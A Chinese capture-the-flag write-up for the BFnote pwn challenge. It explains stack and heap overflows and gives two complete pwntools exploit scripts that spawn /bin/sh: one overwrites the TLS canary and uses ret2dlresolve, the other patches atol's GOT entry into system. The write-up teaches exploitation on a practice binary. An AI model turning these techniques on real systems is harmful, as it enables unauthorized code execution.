i春秋公益赛之BFnote
题目链接:https://buuoj.cn/challenges#gyctf_2020_bfnote
首先检查程序开的保护:
发现程序只开了canary和NX保护,接下来查看IDA反汇编出来的为代码,发现在输入description时存在栈溢出:
在输入note时存在堆溢出:
本题的难点在于不能通过覆盖canary的低字节来泄漏canary,也不好泄漏libc基址来构造ROP。
解法一:
canary是Linux的栈溢出保护机制,通常情况下是保存在TLS结构体中,而TLS结构体是由mmap分配的内存空间,故给了我们利用的可能。
利用思路:
- 分配一个大小为0x200000的chunk,此时会调用mmap分配内存
- 由上文的堆溢出漏洞可知,我们只要控制好v4的值,就可以向TLS结构体中写入数据,从而覆盖原有的canary
- 绕过canary保护后通过把栈迁移到.bss段
- ret2_dl_runtime_resolve
在构造ret2_dl_runtime_resolve时要注意利用的.bss地址不要过大或过小
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; //在伪造时注意此处下标过大会指向非法地址导致失败
最终利用脚本:
#-*- coding:utf-8 -*- from pwn import * context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) p = process('./BFnote') #p = remote('node3.buuoj.cn', 28177) elf = ELF('BFnote') libc = ELF('libc.so.6') atol_got = elf.got['atol'] leave_ret = 0x08048578 read_plt = elf.plt['read'] pop_esi_edi_ebp_ret = 0x080489d9 pop_ebp_ret = 0x080489db plt_0 = 0x08048450 _rel_plt = 0x080483d0 dynsym = 0x080481d8 dynstr = 0x080482c8 p.recvuntil('Give your description : ') payload = 'A'*50 + '\x00\x41\x41\x41' + 'AAAA' + p32(0x0804a064) p.sendline(payload) p.recvuntil('Give your postscript : ') payload = p32(read_plt) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(0x0804a400) + p32(100) + p32(pop_ebp_ret) + p32(0x0804a400) + p32(leave_ret) payload = payload.ljust(0x600, '\x00') p.send(payload) p.recvuntil('Give your notebook size : ') p.sendline(str(0x200000)) p.recvuntil('Give your title size : ') p.sendline(str(0x2016fc)) p.recvuntil('please re-enter :\n') p.sendline('16') p.recvuntil('Give your title : ') p.sendline('CCCCCCCCCCCCC') p.recvuntil('Give your note : ') p.send('\x00\x41\x41\x41') index_offset = 0x0804a41c - _rel_plt r_offset = atol_got r_info = (((0x0804a428 - dynsym) / 0x10) << 8) | 0x07 fake_reloc = p32(r_offset) + p32(r_info) offset = 0x0804a400 + 0x50 - dynstr fake_dynsym = p32(offset) + p32(0) + p32(0) + p32(0x12) payload2 = 'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += 'AAAA' #函数返回地址,此处可随意 payload2 += p32(0x0804a400 + 0x50 + 0x8) #/bin/sh地址 payload2 += p32(0) payload2 += p32(0) payload2 += fake_reloc #0x0804a41c payload2 += 'AAAA' payload2 += fake_dynsym #0x0804a428 payload2 += 'A'*(80 - len(payload2)) payload2 += 'execve\x00\x00' payload2 += '/bin/sh\x00' payload2 += 'A'*(100 - len(payload2)) #gdb.attach(p) p.send(payload2) p.interactive()
解法二:
通过调试我们可以发现atol函数的地址低于system函数的地址,用命令ROPgadget --binary BFnote --only 'inc|ret'发现程序有这样一段gadget:
通过调试发现除去最低位后atol和system函数地址偏移相差0xdb
利用思路:
- 利用inc把atol地址加0xdb
- 向atol的最低位写入'\xa0'
最终exp如下:
#-*- coding:utf-8 -*- from pwn import * context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) p = process('./BFnote') #p = remote('node3.buuoj.cn', 28092) elf = ELF('BFnote') libc = ELF('libc.so.6') atol_got = elf.got['atol'] atol_plt = elf.plt['atol'] leave_ret = 0x08048578 read_plt = elf.plt['read'] pop_esi_edi_ebp_ret = 0x080489d9 pop_ebp_ret = 0x080489db plt_0 = 0x08048450 _rel_plt = 0x080483d0 dynsym = 0x080481d8 dynstr = 0x080482c8 inc_ebp_ret = 0x08048434 ret_addr = 0x0804842a p.recvuntil('Give your description : ') payload = 'A'*50 + '\x00\x41\x41\x41' + 'AAAA' + p32(0x0804a204) #栈迁移到0x0804a500处 p.sendline(payload) p.recvuntil('Give your postscript : ') payload = '/bin/sh\x00'.ljust(0x1a0, '\x00') payload += p32(pop_ebp_ret) + p32(atol_got + 1 + 0x17fa8b40) payload += p32(inc_ebp_ret) * 0xDB payload += p32(read_plt) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(atol_got) + p32(1) + p32(ret_addr) + p32(ret_addr) + p32(atol_plt) + 'AAAA' + p32(0x0804a060) info("length of payload ==> " + str(len(payload))) payload = payload.ljust(0x600, '\x00') #gdb.attach(p) p.send(payload) p.recvuntil('Give your notebook size : ') #gdb.attach(p) p.sendline(str(0x200000)) p.recvuntil('Give your title size : ') p.sendline(str(0x2016fc)) p.recvuntil('please re-enter :\n') #gdb.attach(p) p.sendline('16') p.recvuntil('Give your title : ') p.sendline('CCCCCCCCCCCCC') p.recvuntil('Give your note : ') #gdb.attach(p) p.send('\x00\x41\x41\x41') #gdb.attach(p) p.send('\xA0') p.interactive()